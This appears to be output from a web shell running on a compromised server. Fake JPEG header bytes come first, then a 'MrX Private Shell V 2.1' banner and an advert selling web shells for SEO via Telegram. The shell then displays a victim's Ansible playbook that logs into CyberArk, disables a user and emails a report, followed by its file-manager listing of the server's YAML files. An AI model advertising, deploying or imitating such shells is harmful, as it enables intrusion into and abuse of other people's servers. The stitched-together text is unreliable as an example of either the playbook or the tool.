����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
---
- hosts: all
connection: local
collections:
- cyberark.pas
tasks:
- name: Logon to CyberArk Vault using PAS Web Services SDK
cyberark_authentication:
api_base_url: "https://BASE_URL"
validate_certs: false
username: "USERNAME"
password: "PASSWORD"
- name: Disabling a CyberArk User
cyberark_user:
username: "{{ username | regex_search('.+?(?=\\()') }}" #more optimal handle user case like suser=testuserFirst.testuserLast@acme.com(Vault user) match up to ( char
disabled: true
cyberark_session: "{{ cyberark_session }}"
register: cyberarkaction
- name: Debug message
debug:
var: cyberarkaction
- name: Logoff from CyberArk Vault
cyberark_authentication:
state: absent
cyberark_session: "{{ cyberark_session }}"
- name: Sending an e-mail using Gmail SMTP servers
community.general.mail:
host: SMTPSERVER
port: PORT
username: username@mail.com
password: password
to: First Last <first.last@mail.com>
subject: Ansible-Rulebook Report
body: Ansible Rulebook notify of PTA Event {{ username }} - {{ eventname }} - from host {{ station }} - For more info please visit - {{ eventurl }} - user disabled!
delegate_to: localhost
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cyberark_test_rule.yml | File | 1.09 KB | 0644 |
|
| disable_pas_user_kafka.yml | File | 560 B | 0644 |
|
| disable_pas_user_webhook.yml | File | 540 B | 0644 |
|
| disable_user.yml | File | 1.17 KB | 0644 |
|
| inventory.yml | File | 69 B | 0644 |
|
| pta_disable_notify.yml | File | 1.31 KB | 0644 |
|
| pta_notify.yml | File | 602 B | 0644 |
|